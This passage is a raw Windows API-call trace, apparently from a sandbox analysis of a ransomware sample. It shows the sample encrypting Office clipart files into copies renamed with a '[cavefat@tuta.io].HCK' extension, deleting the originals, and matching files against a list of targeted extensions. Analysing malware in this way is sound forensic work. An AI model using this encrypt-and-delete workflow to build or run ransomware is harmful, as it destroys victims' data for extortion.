SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.054] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.059] GetLastError () returned 0x0 [0178.059] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3b43, lpOverlapped=0x0) returned 1 [0178.061] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3b50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3b50, lpOverlapped=0x0) returned 1 [0178.062] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.062] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.063] SetEndOfFile (hFile=0x2fc) returned 1 [0178.065] CloseHandle (hObject=0x2fc) returned 1 [0178.066] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.066] SetEndOfFile (hFile=0x39c) returned 1 [0178.068] CloseHandle (hObject=0x39c) returned 1 [0178.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0386270.jpg")) returned 1 [0178.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.072] lstrlenW (lpString=".doc") returned 4 [0178.072] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.072] lstrlenW (lpString=".docx") returned 5 [0178.072] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0178.072] lstrlenW (lpString=".pdf") returned 4 [0178.072] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.072] lstrlenW (lpString=".xls") returned 4 [0178.072] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.072] lstrlenW (lpString=".xlsx") returned 5 [0178.072] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0178.072] lstrlenW (lpString=".ppt") returned 4 [0178.072] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.072] lstrlenW (lpString=".zip") returned 4 [0178.072] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.072] lstrlenW (lpString=".rar") returned 4 [0178.072] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.072] lstrlenW (lpString=".bz2") returned 4 [0178.072] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.072] lstrlenW (lpString=".7z") returned 3 [0178.072] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.072] lstrlenW (lpString=".dbf") returned 4 [0178.072] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.072] lstrlenW (lpString=".1cd") returned 4 [0178.072] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.072] lstrlenW (lpString=".jpg") returned 4 [0178.072] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.072] lstrlenW (lpString=".doc") returned 4 [0178.072] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.072] lstrlenW (lpString=".docx") returned 5 [0178.072] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0178.072] lstrlenW (lpString=".pdf") returned 4 [0178.072] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.073] lstrlenW (lpString=".xls") returned 4 [0178.073] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.073] lstrlenW (lpString=".xlsx") returned 5 [0178.073] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0178.073] lstrlenW (lpString=".ppt") returned 4 [0178.073] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.073] lstrlenW (lpString=".zip") returned 4 [0178.073] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.073] lstrlenW (lpString=".rar") returned 4 [0178.073] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.073] lstrlenW (lpString=".bz2") returned 4 [0178.073] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.073] lstrlenW (lpString=".7z") returned 3 [0178.073] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.073] lstrlenW (lpString=".dbf") returned 4 [0178.073] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.073] lstrlenW (lpString=".1cd") returned 4 [0178.073] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0386270.JPG") returned 68 [0178.073] lstrlenW (lpString=".jpg") returned 4 [0178.073] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.073] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.073] lstrlenW (lpString="J0387578.JPG") returned 12 [0178.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.074] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=27884) returned 1 [0178.074] CloseHandle (hObject=0x39c) returned 1 [0178.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg")) returned 0x220 [0178.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.078] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.078] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.081] GetLastError () returned 0x0 [0178.081] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6cec, lpOverlapped=0x0) returned 1 [0178.083] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6cf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6cf0, lpOverlapped=0x0) returned 1 [0178.084] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.084] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.084] SetEndOfFile (hFile=0x368) returned 1 [0178.087] CloseHandle (hObject=0x368) returned 1 [0178.087] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.087] SetEndOfFile (hFile=0x2fc) returned 1 [0178.090] CloseHandle (hObject=0x2fc) returned 1 [0178.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387578.jpg")) returned 1 [0178.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.094] lstrlenW (lpString=".doc") returned 4 [0178.094] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.094] lstrlenW (lpString=".docx") returned 5 [0178.094] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0178.094] lstrlenW (lpString=".pdf") returned 4 [0178.094] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.094] lstrlenW (lpString=".xls") returned 4 [0178.094] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.094] lstrlenW (lpString=".xlsx") returned 5 [0178.094] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0178.094] lstrlenW (lpString=".ppt") returned 4 [0178.094] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString=".zip") returned 4 [0178.095] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.095] lstrlenW (lpString=".rar") returned 4 [0178.095] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.095] lstrlenW (lpString=".bz2") returned 4 [0178.095] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.095] lstrlenW (lpString=".7z") returned 3 [0178.095] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString=".dbf") returned 4 [0178.095] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString=".1cd") returned 4 [0178.095] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString=".jpg") returned 4 [0178.095] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString=".doc") returned 4 [0178.095] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.095] lstrlenW (lpString=".docx") returned 5 [0178.095] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0178.095] lstrlenW (lpString=".pdf") returned 4 [0178.095] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.095] lstrlenW (lpString=".xls") returned 4 [0178.095] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.095] lstrlenW (lpString=".xlsx") returned 5 [0178.095] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0178.095] lstrlenW (lpString=".ppt") returned 4 [0178.095] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString=".zip") returned 4 [0178.095] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.095] lstrlenW (lpString=".rar") returned 4 [0178.095] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.095] lstrlenW (lpString=".bz2") returned 4 [0178.095] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.095] lstrlenW (lpString=".7z") returned 3 [0178.095] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString=".dbf") returned 4 [0178.095] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString=".1cd") returned 4 [0178.095] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387578.JPG") returned 68 [0178.095] lstrlenW (lpString=".jpg") returned 4 [0178.095] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.096] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.096] lstrlenW (lpString="J0387882.JPG") returned 12 [0178.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.101] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=39148) returned 1 [0178.101] CloseHandle (hObject=0x370) returned 1 [0178.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg")) returned 0x220 [0178.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.105] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.105] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.108] GetLastError () returned 0x0 [0178.108] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x98ec, lpOverlapped=0x0) returned 1 [0178.110] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x98f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x98f0, lpOverlapped=0x0) returned 1 [0178.112] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.112] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.112] SetEndOfFile (hFile=0x370) returned 1 [0178.113] CloseHandle (hObject=0x370) returned 1 [0178.113] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.113] SetEndOfFile (hFile=0x2fc) returned 1 [0178.117] CloseHandle (hObject=0x2fc) returned 1 [0178.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387882.jpg")) returned 1 [0178.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.120] lstrlenW (lpString=".doc") returned 4 [0178.120] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.120] lstrlenW (lpString=".docx") returned 5 [0178.120] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.120] lstrlenW (lpString=".pdf") returned 4 [0178.120] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.120] lstrlenW (lpString=".xls") returned 4 [0178.120] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.120] lstrlenW (lpString=".xlsx") returned 5 [0178.120] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.120] lstrlenW (lpString=".ppt") returned 4 [0178.120] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString=".zip") returned 4 [0178.121] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.121] lstrlenW (lpString=".rar") returned 4 [0178.121] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.121] lstrlenW (lpString=".bz2") returned 4 [0178.121] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.121] lstrlenW (lpString=".7z") returned 3 [0178.121] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString=".dbf") returned 4 [0178.121] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString=".1cd") returned 4 [0178.121] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString=".jpg") returned 4 [0178.121] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString=".doc") returned 4 [0178.121] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.121] lstrlenW (lpString=".docx") returned 5 [0178.121] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.121] lstrlenW (lpString=".pdf") returned 4 [0178.121] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.121] lstrlenW (lpString=".xls") returned 4 [0178.121] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.121] lstrlenW (lpString=".xlsx") returned 5 [0178.121] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.121] lstrlenW (lpString=".ppt") returned 4 [0178.121] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString=".zip") returned 4 [0178.121] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.121] lstrlenW (lpString=".rar") returned 4 [0178.121] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.121] lstrlenW (lpString=".bz2") returned 4 [0178.121] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.121] lstrlenW (lpString=".7z") returned 3 [0178.121] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString=".dbf") returned 4 [0178.121] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString=".1cd") returned 4 [0178.121] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387882.JPG") returned 68 [0178.121] lstrlenW (lpString=".jpg") returned 4 [0178.121] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.122] lstrcmpiW (lpString1=".PNG", lpString2=".HCK") returned 1 [0178.122] lstrlenW (lpString="J0400002.PNG") returned 12 [0178.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.124] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=89417) returned 1 [0178.124] CloseHandle (hObject=0x370) returned 1 [0178.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png")) returned 0x220 [0178.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.136] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.136] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 